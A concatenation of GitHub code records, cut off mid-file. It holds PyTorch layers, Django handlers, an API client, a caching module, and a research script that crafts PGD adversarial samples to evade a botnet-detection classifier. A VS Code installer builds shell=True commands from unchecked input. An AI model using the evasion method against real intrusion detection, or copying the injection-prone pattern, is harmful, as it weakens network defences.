\"\"\"3x3 convolution with padding\"\"\"\n return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,\n padding=dilation, groups=groups, bias=False, dilation=dilation)\n\n\ndef conv1x1(in_planes: int, out_planes: int, stride: int = 1) -> nn.Conv2d:\n \"\"\"1x1 convolution\"\"\"\n return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)\n\n\nclass BasicBlock(nn.Module):\n expansion: int = 1\n\n def __init__(\n self,\n inplanes: int,\n planes: int,\n stride: int = 1,\n downsample: Optional[nn.Module] = None,\n groups: int = 1,\n base_width: int = 64,\n dilation: int = 1,\n norm_layer: Optional[Callable[..., nn.Module]] = None\n ) -> None:\n super(BasicBlock, self).__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n if groups != 1 or base_width != 64:\n raise ValueError('BasicBlock only supports groups=1 and base_width=64')\n if dilation > 1:\n raise NotImplementedError(\"Dilation > 1 not supported in BasicBlock\")\n # Both self.conv1 and self.downsample layers downsample the input when stride != 1\n self.conv1 = conv3x3(inplanes, planes, stride)\n self.bn1 = norm_layer(planes)\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = conv3x3(planes, planes)\n self.bn2 = norm_layer(planes)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x: Tensor) -> Tensor:\n identity = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n\n if self.downsample is not None:\n identity = self.downsample(x)\n\n out += identity\n out = self.relu(out)\n\n return out\n\nclass ConvBNReLU3d(nn.Sequential):\n def __init__(\n self,\n in_planes: int,\n out_planes: int,\n kernel_size: int = 3,\n stride: int = 1,\n groups: int = 1,\n norm_layer: Optional[Callable[..., nn.Module]] = None\n ) -> None:\n padding = (kernel_size - 1) // 2\n if norm_layer is None:\n norm_layer = nn.BatchNorm3d\n super(ConvBNReLU3d, self).__init__(\n nn.Conv3d(in_planes, out_planes, kernel_size, stride, padding, groups=groups, bias=False),\n norm_layer(out_planes),\n nn.ReLU6(inplace=True)\n )\n\nclass InvertedResidual3d(nn.Module):\n def __init__(\n self,\n inp: int,\n oup: int,\n stride: int,\n expand_ratio: int,\n norm_layer: Optional[Callable[..., nn.Module]] = None\n ) -> None:\n super(InvertedResidual3d, self).__init__()\n self.stride = stride\n assert stride in [1, 2]\n\n if norm_layer is None:\n norm_layer = nn.BatchNorm3d\n\n hidden_dim = int(round(inp * expand_ratio))\n self.use_res_connect = self.stride == 1 and inp == oup\n\n layers: List[nn.Module] = []\n if expand_ratio != 1:\n # pw\n layers.append(ConvBNReLU3d(inp, hidden_dim, kernel_size=1, norm_layer=norm_layer))\n layers.extend([\n # dw\n ConvBNReLU3d(hidden_dim, hidden_dim, stride=stride, groups=hidden_dim, norm_layer=norm_layer),\n # pw-linear\n nn.Conv3d(hidden_dim, oup, 1, 1, 0, bias=False),\n norm_layer(oup),\n ])\n self.conv = nn.Sequential(*layers)\n\n def forward(self, x: Tensor) -> Tensor:\n if self.use_res_connect:\n return x + self.conv(x)\n else:\n return self.conv(x)\n\nclass AtrousBlock(nn.Module):\n\n def __init__(self, in_channels, out_channels, stride=1, bn=True, relu=True):\n super(AtrousBlock, self).__init__()\n\n dilations = [2,4,6]\n self.conv_1 = BasicConv(in_channels,out_channels//4,is_3d=True,kernel_size=3,stride=stride,padding=1,dilation=1)\n self.conv_2 = BasicConv(in_channels,out_channels//4,is_3d=True,kernel_size=3,stride=stride,padding=(1,dilations[0],dilations[0]),dilation=(1,dilations[0],dilations[0]))\n self.conv_3 = BasicConv(in_channels,out_channels//4,is_3d=True,kernel_size=3,stride=stride,padding=(1,dilations[1],dilations[1]),dilation=(1,dilations[1],dilations[1]))\n self.conv_4 = BasicConv(in_channels,out_channels//4,is_3d=True,kernel_size=3,stride=stride,padding=(1,dilations[2],dilations[2]),dilation=(1,dilations[2],dilations[2]))\n\n def forward(self, x):\n x = torch.cat((self.conv_1(x),self.conv_2(x),self.conv_3(x),self.conv_4(x)),1)\n return x\n","repo_name":"antabangun/coex","sub_path":"models/stereo/submodules/util_conv.py","file_name":"util_conv.py","file_ext":"py","file_size_in_byte":9140,"program_lang":"python","lang":"en","doc_type":"code","stars":120,"dataset":"github-code","pt":"72"} +{"seq_id":"4199912357","text":"import os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"-1\"\nimport sys\nsys.path.append('..')\nimport time\nimport joblib\nfrom datetime import datetime\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.models import load_model\nfrom fence.neris_attack_tf2 import Neris_attack\nfrom pgd.pgd_attack_art import PgdRandomRestart\nfrom training.helpers import read_min_max\nfrom tensorflow.random import set_seed\n\"\"\"\nset_seed(2)\nfrom numpy.random import seed\nseed(2)\n\"\"\"\nimport random\nnp.random.seed(500)\n\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\ndef attack(method, model_path, samples_path, labels_path, distance, iterations, mask_idx, eq_min_max, only_botnet=True): \n samples = np.load(samples_path)\n labels = np.load(labels_path)\n if only_botnet:\n idx = np.where(labels==1)[0]\n labels = labels[idx]\n samples = samples[idx]\n model = load_model(model_path)\n\n if method == \"pgd\":\n labels = np.expand_dims(labels, axis=1)\n attack_generator = PgdRandomRestart(model, eps=distance, alpha = 1, num_iter = iterations, restarts = 5, scaler=scaler, mins=min_features, maxs=max_features, mask_idx=mask_idx, eq_min_max=eq_min_max)\n perturbSamples = attack_generator.run_attack(samples,labels)\n\n if method == \"neris\":\n perturbSamples = []\n attack_generator = Neris_attack(model_path = model_path, iterations=iterations, distance=distance, scaler=scaler, mins=min_features, maxs=max_features)\n for i in range(samples.shape[0]):\n if (i % 1000)==0:\n print(\"Attack \", i)\n sample = samples[i]\n sample = np.expand_dims(sample, axis=0)\n label = labels[i]\n adversary = attack_generator.run_attack(sample,label)\n perturbSamples.append(adversary)\n perturbSamples = np.squeeze(np.array(perturbSamples))\n\n probas = np.squeeze(model.predict(perturbSamples))\n predictions = np.squeeze((probas>= 0.5).astype(int))\n adv_idx = np.squeeze(np.argwhere(predictions == 0))\n success_rate = np.count_nonzero(predictions == 0)/predictions.shape[0]*100\n return perturbSamples, success_rate\n\n\nif __name__ == \"__main__\":\n\n scaler = joblib.load('../data/neris/scaler.pkl')\n min_features, max_features = read_min_max('../data/neris/minimum.txt', '../data/neris/maximum.txt')\n mask_idx = np.load('../data/neris/mutable_idx.npy')\n eq_min_max = np.load('../data/neris/eq_min_max_idx.npy')\n start_time = datetime.now()\n perturbed_samples, success_rate_12 = attack('pgd', '../out/datasets/neris/clean_10epochs/clean_trained_model.h5', '../data/neris/testing_samples.npy', '../data/neris/testing_labels.npy', distance=12, iterations=100, mask_idx=mask_idx, eq_min_max=eq_min_max)\n #np.save(\"perturbations_neris_all_nerisds_trainset.npy\", perturbed_samples)\n end_time = datetime.now()\n print('Duration: {}'.format(end_time - start_time))\n print(\"Success rate\", success_rate_12)","repo_name":"serval-uni-lu/realistic_adversarial_hardening","sub_path":"botnet/attack/attack.py","file_name":"attack.py","file_ext":"py","file_size_in_byte":2954,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"71182676712","text":"'''\nCreate on Jan 1st 2018\n@Author KEYS\n'''\n\nfrom app.service.userservice import UserService\nfrom app.service.planservice import PlanService\nfrom app.ulity import Ulity\nfrom django.http import HttpResponse\nfrom app.models import Plan, Session\nfrom app.constant import Constant\nfrom django.views.decorators.csrf import csrf_exempt\n\nimport simplejson\nimport datetime\n\nclass PlanControler(object):\n\n def __init__(self):\n self.uservice = UserService()\n self.ulity = Ulity()\n self.planservice = PlanService()\n\n @csrf_exempt\n def createPlanControler(self, request):\n if request.method == 'POST':\n status = 200\n [sessionid, response] = self.ulity.isEmptySession(request.session)\n if sessionid == None:\n response[\"message\"] = Constant.FAIL_CREATEPLAN\n return HttpResponse(content=simplejson.dumps(response), status=status)\n is_login = self.uservice.isLogin(sessionid)\n req = simplejson.loads(request.body)\n if is_login == Constant.ERROR_LOGIN_NOLOGIN:\n response['message'] = Constant.FAIL_CREATEPLAN\n response['data'] = {}\n response['data']['error'] = is_login\n else:\n partner = req[\"partner\"]\n partner_str = ','.join(partner)\n plan = Plan(PLAN_USER=is_login, PLAN_NAME=req[\"planname\"],\n RUN_DATETIME=datetime.datetime.strptime(req[\"runtime\"],'%Y-%m-%d %H:%M'),\n PARTNER=partner_str, PLACE=req[\"place\"])\n create_plan_message = self.planservice.createPlan(plan)\n if create_plan_message != Constant.SUCCESS_CREATEPLAN:\n response[\"message\"] = Constant.FAIL_CREATEPLAN\n response[\"data\"] = {}\n response[\"data\"][\"error\"] = create_plan_message\n else:\n response[\"message\"] = Constant.SUCCESS_CREATEPLAN\n response[\"planid\"] = plan.PLAN_ID\n status = 200\n return HttpResponse(content=simplejson.dumps(response), status=status)\n\n\n @csrf_exempt\n def deletePlanControler(self, request):\n if request.method == 'DELETE':\n status = 200\n [sessionid, response] = self.ulity.isEmptySession(request.session)\n if sessionid == None:\n response[\"message\"] = Constant.FAIL_DELETEPLAN\n return HttpResponse(content=simplejson.dumps(response), status=status)\n is_login = self.uservice.isLogin(sessionid)\n req = simplejson.loads(request.body)\n if is_login == Constant.ERROR_LOGIN_NOLOGIN:\n response['message'] = Constant.FAIL_DELETEPLAN\n response['data'] = {}\n response['data']['error'] = is_login\n else:\n plan_id = req[\"planid\"]\n delete_plan_message = self.planservice.deletePlan(plan_id, is_login)\n if delete_plan_message != Constant.SUCCESS_DELETEPLAN:\n response[\"message\"] = Constant.FAIL_DELETEPLAN\n response[\"data\"] = {}\n response[\"data\"][\"error\"] = delete_plan_message\n else:\n response[\"message\"] = Constant.SUCCESS_DELETEPLAN\n status = 200\n return HttpResponse(content=simplejson.dumps(response), status=status)\n\n @csrf_exempt\n def updatePlanControler(self, request):\n if request.method == 'PUT':\n status = 200\n [sessionid, response] = self.ulity.isEmptySession(request.session)\n if sessionid == None:\n response[\"message\"] = Constant.FAIL_UPDATEPLAN\n return HttpResponse(content=simplejson.dumps(response), status=status)\n is_login = self.uservice.isLogin(sessionid)\n req = simplejson.loads(request.body)\n if is_login == Constant.ERROR_LOGIN_NOLOGIN:\n response['message'] = Constant.FAIL_UPDATEPLAN\n response['data'] = {}\n response['data']['error'] = is_login\n else:\n partner = req[\"partner\"]\n partner_str = ','.join(partner)\n plan = Plan(PLAN_ID=req[\"planid\"], PLAN_USER=is_login, PLAN_NAME=req[\"planname\"],\n RUN_DATETIME=datetime.datetime.strptime(req[\"runtime\"],'%Y-%m-%d %H:%M'),\n PARTNER=partner_str, PLACE=req[\"place\"])\n update_plan_message = self.planservice.updatePlan(plan)\n if update_plan_message != Constant.SUCCESS_UPDATEPLAN:\n response[\"message\"] = Constant.FAIL_UPDATEPLAN\n response[\"data\"] = {}\n response[\"data\"][\"error\"] = update_plan_message\n else:\n response[\"message\"] = Constant.SUCCESS_UPDATEPLAN\n response[\"planid\"] = plan.PLAN_ID\n status = 200\n return HttpResponse(content=simplejson.dumps(response), status=status)\n\n @csrf_exempt\n def getAllPlanControler(self, request):\n if request.method == 'GET':\n status = 200\n [sessionid, response] = self.ulity.isEmptySession(request.session)\n if sessionid == None:\n response[\"message\"] = Constant.FAIL_GETALLPLANS\n return HttpResponse(content=simplejson.dumps(response), status=status)\n is_login = self.uservice.isLogin(sessionid)\n if is_login == Constant.ERROR_LOGIN_NOLOGIN:\n response['message'] = Constant.FAIL_GETALLPLANS\n response['data'] = {}\n response['data']['error'] = is_login\n else:\n [get_allplan_message,plan_set] = self.planservice.getAllPlans(is_login)\n if plan_set is not None:\n for plan in plan_set:\n plan_json = {}\n plan_json[\"planid\"] = plan.PLAN_ID\n plan_json[\"planname\"] = plan.PLAN_NAME\n plan_json[\"author\"] = plan.PLAN_NAME\n plan_json[\"runtime\"] = plan.RUN_DATETIME.strftime('%Y-%m-%d %H:%M')\n plan_json[\"partner\"] = plan.PARTNER.split(',')\n plan_json[\"place\"] = plan.PLACE\n plan_json[\"addtime\"] = plan.ADD_DATETIME.strftime('%Y-%m-%d %H:%M')\n response[plan.PLAN_ID] = plan_json\n status = 200\n else:\n response['message'] = Constant.FAIL_GETALLPLANS\n response['data'] = {}\n response['data']['error'] = get_allplan_message\n return HttpResponse(content=simplejson.dumps(response), status=status)\n\n @csrf_exempt\n def difMethodPlanControler(self, request):\n if request.method == 'PUT':\n return self.updatePlanControler(request)\n if request.method == 'DELETE':\n return self.deletePlanControler(request)\n if request.method == 'POST':\n return self.createPlanControler(request)\n if request.method == 'GET':\n return self.getAllPlanControler(request)","repo_name":"yxlshk/Android_final_project","sub_path":"service/runner/app/controler/plancontroler.py","file_name":"plancontroler.py","file_ext":"py","file_size_in_byte":7311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1010024277","text":"import json\nimport subprocess\n\ndef run_command_on_element(element):\n # Replace the following command with the desired command you want to run for each element\n command = f\"code --install-extension {element}\"\n \n try:\n result = subprocess.check_output(command, shell=True, text=True)\n print(result.strip())\n except subprocess.CalledProcessError as e:\n print(f\"Error while running command: {e}\")\n\ndef main():\n try:\n # Read JSON list from JQ's output\n json_output = input()\n data = json.loads(json_output)\n except json.JSONDecodeError as e:\n print(f\"Error parsing JSON: {e}\")\n return\n\n for element in data:\n run_command_on_element(element)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"brahste/home-config","sub_path":"scripts/helpers/install-vscode-extensions.py","file_name":"install-vscode-extensions.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18183185937","text":"import requests\nimport time\nimport json\n\n# Case 1. 최근 보고서 (3개월 이내)\n# get_recent_report()\n# Case 2. \n\n\napi_auth = None\nwith open('auth.txt', 'r') as f:\n api_auth = f.readline()\n\n\nDEFAULT_QUERY = {\n'auth': api_auth,\n'page_no': 1,\n'start_dt': 19990101, # 시작일 최소 : 19990101\n'page_set': 100 # 한페이지 최대 100개\n}\n\n\nclass DartAPI:\n \"\"\"\n 시작일 최소 : 19990101\n \"\"\"\n recent_request = None\n TERM = 2\n\n\n @staticmethod\n def url(query=DEFAULT_QUERY):\n \"\"\"\n query: dict\n dsp_tp, bsn_tp: list\n \"\"\"\n url = 'http://dart.fss.or.kr/api/search.json?'\n \n for query_type in query.keys():\n if query_type == 'dsp_tp':\n for dsp_tp in query[query_type]:\n url += ('&dsp_tp=' + dsp_tp)\n elif query_type == 'bsn_tp':\n for bsn_tp in query[query_type]:\n url += ('&bsn_tp=' + bsn_tp) \n else:\n url += ('&%s=%s' % (query_type, query[query_type]))\n return url\n\n @staticmethod\n def can_request():\n if DartAPI.recent_request is None:\n return True\n else:\n if time.time() - DartAPI.recent_request > DartAPI.TERM:\n return True\n else:\n return False\n\n @staticmethod\n def request_loop(query):\n \"\"\"\n request 요청에 제한이 있어\n request 요청 사이에 기타작업(가공, DB) 가능하도록 제너레이터\n :yield: 보고서리스트 (최대 100개) (제너레이터)\n \"\"\"\n\n url = DartAPI.url(query)\n\n while not DartAPI.can_request():\n time.sleep(0.1)\n r = requests.get(url)\n DartAPI.recent_request = time.time()\n data = json.loads(r.content.decode('utf8'))\n\n err_code = data['err_code']\n err_msg = data['err_msg']\n page_no = data['page_no']\n total_page = data['total_page']\n if err_code != '000':\n raise ValueError(err_msg, url)\n\n print('page %s/%s' % (page_no, total_page))\n yield data['list']\n\n page_no += 1\n while page_no <= total_page:\n query['page_no'] = page_no\n url = DartAPI.url(query)\n\n while not DartAPI.can_request():\n time.sleep(0.1)\n r = requests.get(url)\n DartAPI.recent_request = time.time()\n data = json.loads(r.content.decode('utf8'))\n\n err_code = data['err_code']\n err_msg = data['err_msg']\n page_no = data['page_no']\n if err_code != '000':\n raise ValueError(err_msg, url)\n\n print('page %s/%s' % (page_no, total_page))\n page_no += 1\n yield data['list']\n\n @staticmethod\n def get_recent_report(START_DATE, page_no=1):\n \"\"\"\n :param START_DATE: 최근 3개월로 지정해야함\n :return: DartAPI.request_loop(query)\n \"\"\"\n query = DEFAULT_QUERY\n query['start_dt'] = START_DATE\n query['page_no'] = page_no\n return DartAPI.request_loop(query)\n\n @staticmethod\n def get_recent_report_by_type(START_DATE, page_no=1, \n dsp_tp_list=None, \n bsn_tp_list=None):\n \"\"\"\n :param START_DATE: 최근 3개월로 지정해야함\n :return: DartAPI.request_loop(query)\n \"\"\"\n query = DEFAULT_QUERY\n query['start_dt'] = START_DATE\n query['page_no'] = page_no\n\n if dsp_tp_list:\n query['dsp_tp'] = dsp_tp_list\n if bsn_tp_list:\n query['bsn_tp'] = bsn_tp_list\n\n return DartAPI.request_loop(query)\n\n\nif __name__ == '__main__':\n for data in DartAPI.get_recent_report(20180101):\n print(data)\n\n # for data in DartAPI.get_recent_report_by_type(20180101,\n # dsp_tp_list=['A'],\n # bsn_tp_list=['B003']):\n # print(data)\n","repo_name":"limitriss/DartAPI","sub_path":"parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39980621872","text":"import os\n\nimport urllib.parse\n\nimport logging\n\nfrom sarracenia import nowflt, timestr2flt, timeflt2str\n\nfrom sarracenia.flowcb.nodupe import NoDupe\n\nlogger = logging.getLogger(__name__)\n\n\nclass Disk(NoDupe):\n \"\"\"\n generalised duplicate suppression for sr3 programs. It is used as a \n time based buffer that prevents, when activated, identical files (of some kinds) \n from being processed more than once, by rejecting files identified as duplicates.\n\n options:\n\n nodupe_ttl - duration in seconds (floating point.)\n The time horizon of the receiption cache.\n how long to remember files, so they are rejected as duplicates.\n\n The expiry based on nodupe_ttl is applied every housekeeping interval.\n\n nodupe_fileAgeMax - the oldest file that will be considered for processing.\n files older than this threshold will be rejected.\n\n nodupe_fileAgeMin - the newest file that can be considered for processing.\n files newer than this threshold will be rejected.\n if not specified, the value of option *inflight*\n may be referenced if it is an integer value.\n\n NoDupe supports/uses::\n \n cache_file : default ~/.cache/sarra/'pgm'/'cfg'/recent_files_0001.cache\n each line in file is\n sum time path part\n \n cache_dict : {}\n cache_dict[key] = {path1: time1, path2: time2, ...}\n \n \"\"\"\n def __init__(self, options):\n\n super().__init__(options,logger)\n logger.debug(\"NoDupe init\")\n logging.basicConfig(format=self.o.logFormat, level=getattr(logging, self.o.logLevel.upper()))\n\n self.o.add_option( 'nodupe_ttl', 'duration', 0 ) \n self.o.add_option( 'nodupe_fileAgeMax', 'duration', 0 ) \n self.o.add_option( 'nodupe_fileAgeMin', 'duration', 0 ) \n\n logger.info('time_to_live=%d, ' % (self.o.nodupe_ttl))\n\n self.cache_dict = {}\n self.cache_file = None\n self.cache_hit = None\n self.fp = None\n\n self.last_expire = nowflt()\n self.count = 0\n\n self.last_time = nowflt()\n self.last_count = 0\n\n def on_housekeeping(self):\n\n logger.info(\"start (%d)\" % len(self.cache_dict))\n\n count = self.count\n self.save()\n\n self.now = nowflt()\n new_count = self.count\n\n logger.info(\n \"was %d, but since %5.2f sec, increased up to %d, now saved %d entries\"\n % (self.last_count, self.now - self.last_time, count, new_count))\n\n self.last_time = self.now\n self.last_count = new_count\n\n def _not_in_cache(self, key, relpath) -> bool:\n \"\"\" return False if the given key=relpath value is already in the cache,\n True otherwise\n side effect: add it to the cache if it isn't there.\n \"\"\"\n # not found\n self.cache_hit = None\n qpath = urllib.parse.quote(relpath)\n\n if key not in self.cache_dict:\n logger.debug(\"adding entry to NoDupe cache\")\n kdict = {}\n kdict[relpath] = self.now\n self.cache_dict[key] = kdict\n self.fp.write(\"%s %f %s\\n\" % (key, self.now, qpath))\n self.count += 1\n return True\n\n logger.debug( f\"entry already in NoDupe cache: key={key}\" )\n kdict = self.cache_dict[key]\n present = relpath in kdict\n kdict[relpath] = self.now\n\n # differ or newer, write to file\n self.fp.write(\"%s %f %s\\n\" % (key, self.now, qpath))\n self.count += 1\n\n if present:\n logger.debug( f\"updated time of old NoDupe entry: relpath={relpath}\" )\n self.cache_hit = relpath\n return False\n else:\n logger.debug( f\"added relpath={relpath}\")\n\n return True\n\n def check_message(self, msg) -> bool :\n \"\"\"\n derive keys to be looked up in cache of messages already seen.\n then look them up in the cache, \n\n return False if message is a dupe.\n True if it is new.\n \"\"\"\n\n key = self.deriveKey(msg)\n\n if ('nodupe_override' in msg) and ('path' in msg['nodupe_override']):\n path = msg['nodupe_override']['path']\n else:\n path = msg['relPath'].lstrip('/')\n\n msg['noDupe'] = { 'key': key, 'path': path }\n msg['_deleteOnPost'] |= set(['noDupe'])\n\n logger.debug(\"NoDupe calling check( %s, %s )\" % (key, path))\n return self._not_in_cache(key, path)\n\n def after_accept(self, worklist):\n new_incoming = []\n self.now = nowflt()\n if self.o.nodupe_fileAgeMax > 0:\n min_mtime = self.now - self.o.nodupe_fileAgeMax\n else:\n min_mtime = 0\n\n if self.o.nodupe_fileAgeMin > 0:\n max_mtime = self.now - self.o.nodupe_fileAgeMin\n elif type(self.o.inflight) in [ int, float ] and self.o.inflight > 0:\n max_mtime = self.now - self.o.inflight\n else:\n # FIXME: should we add some time here to allow for different clocks?\n # 100 seconds in the future? hmm...\n max_mtime = self.now + 100\n\n for m in worklist.incoming:\n if ('mtime' in m) :\n mtime=timestr2flt(m['mtime'])\n if mtime < min_mtime:\n m['_deleteOnPost'] |= set(['reject'])\n m['reject'] = f\"{m['mtime']} too old (nodupe check), oldest allowed {timeflt2str(min_mtime)}\"\n m.setReport(304, f\"{m['mtime']} too old (nodupe check), oldest allowed {timeflt2str(min_mtime)}\" )\n worklist.rejected.append(m)\n continue\n elif mtime > max_mtime:\n m['_deleteOnPost'] |= set(['reject'])\n m['reject'] = f\"{m['mtime']} too new (nodupe check), newest allowed {timeflt2str(max_mtime)}\"\n m.setReport(304, f\"{m['mtime']} too new (nodupe check), newest allowed {timeflt2str(max_mtime)}\" )\n worklist.rejected.append(m)\n continue\n\n if self.check_message(m):\n new_incoming.append(m)\n else:\n m['_deleteOnPost'] |= set(['reject'])\n m['reject'] = \"not modifified 1 (nodupe check)\"\n m.setReport(304, 'Not modified 1 (cache check)')\n worklist.rejected.append(m)\n\n if self.fp:\n self.fp.flush()\n logger.debug( f\"items registered in duplicate suppression cache: {len(self.cache_dict.keys())}\" )\n worklist.incoming = new_incoming\n\n def on_start(self):\n self.open()\n\n def on_stop(self):\n self.save()\n self.close()\n\n def clean(self, persist=False, delpath=None):\n logger.debug(\"start\")\n\n # create refreshed dict\n\n now = nowflt()\n new_dict = {}\n self.count = 0\n\n if delpath is not None:\n qdelpath = urllib.parse.quote(delpath)\n else:\n qdelpath = None\n\n # from cache[sum] = [(time,[path,part]), ... ]\n for key in self.cache_dict.keys():\n ndict = {}\n kdict = self.cache_dict[key]\n\n for value in kdict:\n # expired or keep\n t = kdict[value]\n ttl = now - t\n if ttl > self.o.nodupe_ttl: continue\n\n parts = value.split('*')\n path = parts[0]\n qpath = urllib.parse.quote(path)\n\n if qpath == qdelpath: continue\n\n ndict[value] = t\n self.count += 1\n\n if persist:\n self.fp.write(\"%s %f %s\\n\" % (key, t, qpath))\n\n if len(ndict) > 0: new_dict[key] = ndict\n\n # set cleaned cache_dict\n self.cache_dict = new_dict\n\n def close(self, unlink=False):\n logger.debug(\"start\")\n try:\n self.fp.flush()\n self.fp.close()\n except Exception as err:\n logger.warning('did not close: cache_file={}, err={}'.format(\n self.cache_file, err))\n logger.debug('Exception details:', exc_info=True)\n self.fp = None\n\n if unlink:\n try:\n os.unlink(self.cache_file)\n except Exception as err:\n logger.warning(\"did not unlink: cache_file={}: err={}\".format(\n self.cache_file, err))\n logger.debug('Exception details:', exc_info=True)\n self.cache_dict = {}\n self.count = 0\n\n def delete_path(self, delpath):\n logger.debug(\"start\")\n\n # close,remove file, open new empty file\n self.fp.close()\n if os.path.exists(self.cache_file):\n os.unlink(self.cache_file)\n self.fp = open(self.cache_file, 'w')\n\n # clean cache removing delpath\n self.clean(persist=True, delpath=delpath)\n\n def free(self):\n logger.debug(\"start\")\n self.cache_dict = {}\n self.count = 0\n try:\n os.unlink(self.cache_file)\n except Exception as err:\n logger.warning(\"did not unlink: cache_file={}, err={}\".format(\n self.cache_file, err))\n logger.debug('Exception details:', exc_info=True)\n self.fp = open(self.cache_file, 'w')\n\n def load(self):\n logger.debug(\"start\")\n self.cache_dict = {}\n self.count = 0\n\n # create file if not existing\n if not os.path.isfile(self.cache_file):\n self.fp = open(self.cache_file, 'w')\n self.fp.close()\n\n # set time\n now = nowflt()\n\n # open file (read/append)...\n # read through\n # keep open to append entries\n\n self.fp = open(self.cache_file, 'r+')\n lineno = 0\n while True:\n # read line, parse words\n line = self.fp.readline()\n if not line: break\n lineno += 1\n\n # words = [ sum, time, path ]\n try:\n words = line.split()\n key = words[0]\n ctime = float(words[1])\n qpath = words[2]\n path = urllib.parse.unquote(qpath)\n\n # skip expired entry\n\n ttl = now - ctime\n if ttl > self.o.nodupe_ttl: continue\n\n except Exception as err:\n err_msg_fmt = \"load corrupted: lineno={}, cache_file={}, err={}\"\n logger.error(err_msg_fmt.format(lineno, self.cache_file, err))\n logger.debug('Exception details:', exc_info=True)\n continue\n\n # add info in cache\n\n if key in self.cache_dict: kdict = self.cache_dict[key]\n else: kdict = {}\n\n if not path in kdict: self.count += 1\n\n kdict[path] = ctime\n self.cache_dict[key] = kdict\n\n def open(self, cache_file=None):\n\n self.cache_file = cache_file\n\n if cache_file is None:\n self.cache_file = self.o.cfg_run_dir + os.sep\n self.cache_file += 'recent_files_%.3d.cache' % self.o.no\n\n self.load()\n\n def save(self):\n logger.debug(\"NoDupe save\")\n\n # close,remove file\n if self.fp: self.fp.close()\n try:\n os.unlink(self.cache_file)\n except Exception as err:\n logger.warning(\"did not unlink: cache_file={}, err={}\".format(\n self.cache_file, err))\n logger.debug('Exception details:', exc_info=True)\n # new empty file, write unexpired entries\n try:\n self.fp = open(self.cache_file, 'w')\n self.clean(persist=True)\n except Exception as err:\n logger.warning(\"did not clean: cache_file={}, err={}\".format(\n self.cache_file, err))\n logger.debug('Exception details:', exc_info=True)\n","repo_name":"MetPX/sarracenia","sub_path":"sarracenia/flowcb/nodupe/disk.py","file_name":"disk.py","file_ext":"py","file_size_in_byte":12020,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"72"} +{"seq_id":"41480496015","text":"import abc\n\nimport errno\n\nimport fnmatch\n\nimport os\n\nimport platform\n\nimport shutil\n\nimport stat\n\nimport subprocess\n\nimport sys\n\nimport tarfile\n\nimport tempfile\n\nimport textwrap\n\nfrom collections import namedtuple\n\nfrom clint.textui import colored\n\nfrom psqtraviscontainer import directory\nfrom psqtraviscontainer import download\n\nimport six\n\nimport tempdir\n\n_UBUNTU_MAIN_ARCHS = [\"i386\", \"amd64\"]\n_UBUNTU_PORT_ARCHS = [\"armhf\", \"arm64\", \"powerpc\", \"ppc64el\"]\n_UBUNTU_MAIN_ARCHIVE = \"http://archive.ubuntu.com/ubuntu/\"\n_UBUNTU_PORT_ARCHIVE = \"http://ports.ubuntu.com/ubuntu-ports/\"\n\n\ndef _report_task(description):\n \"\"\"Report task description.\"\"\"\n sys.stdout.write(str(colored.white(\"-> {0}\\n\".format(description))))\n\n\ndef _run_task(executor, description, argv, env=None, detail=None):\n \"\"\"Run command through executor argv and prints description.\"\"\"\n def wrapper(line):\n \"\"\"Output wrapper for line.\"\"\"\n return textwrap.indent(line, \" \")\n\n detail = \"[{}]\".format(\" \".join(argv)) if detail is None else detail\n _report_task(description + \" \" + detail)\n (code,\n stdout_data,\n stderr_data) = executor.execute(argv,\n output_modifier=wrapper,\n live_output=True,\n env=env)\n sys.stderr.write(stderr_data)\n\n\ndef _format_package_list(packages):\n \"\"\"Return a nicely formatted list of package names.\"\"\"\n \"\\n (*) \".join([\"\"] + packages)\n\n\nclass PackageSystem(six.with_metaclass(abc.ABCMeta, object)):\n \"\"\"An abstract class representing a package manager.\"\"\"\n\n PopenArguments = namedtuple(\"PopenArguments\", \"argv env\")\n\n @abc.abstractmethod\n def add_repositories(self, repos):\n \"\"\"Add repositories to central packaging system.\"\"\"\n del repos\n\n raise NotImplementedError()\n\n @abc.abstractmethod\n def install_packages(self, package_names):\n \"\"\"Install specified packages in package_names.\"\"\"\n del package_names\n\n raise NotImplementedError()\n\n\nclass Dpkg(PackageSystem):\n \"\"\"Debian Packaging System.\"\"\"\n\n def __init__(self,\n release,\n arch,\n executor):\n \"\"\"Initialize Dpkg with release and arch.\"\"\"\n super(Dpkg, self).__init__()\n self._release = release\n self._arch = arch\n self._executor = executor\n\n @staticmethod\n def format_repositories(repos, release, arch):\n \"\"\"Take a list of APT lines and format them.\n\n There are certain shortcuts that you can use.\n\n {ubuntu} will be replaced by http://archive.ubuntu.com/ and\n the architecture.\n\n {debian} will be replaced by http://ftp.debian.org/.\n\n {launchpad} will be replaced by \"http://ppa.launchpad.net/.\n\n {release} gets replaced by the release of the distribution, which\n means you don't need a repository file for every distribution.\n \"\"\"\n _ubuntu_urls = [\n (_UBUNTU_MAIN_ARCHS, _UBUNTU_MAIN_ARCHIVE),\n (_UBUNTU_PORT_ARCHS, _UBUNTU_PORT_ARCHIVE)\n ]\n\n def _format_user_line(line, kwargs):\n \"\"\"Format a line and turns it into a valid repository line.\"\"\"\n formatted_line = line.format(**kwargs)\n return \"deb {0}\".format(formatted_line)\n\n def _value_or_error(value):\n \"\"\"Return first item in value, or ERROR if value is empty.\"\"\"\n return value[0] if len(value) else \"ERROR\"\n\n format_keys = {\n \"ubuntu\": [u[1] for u in _ubuntu_urls if arch in 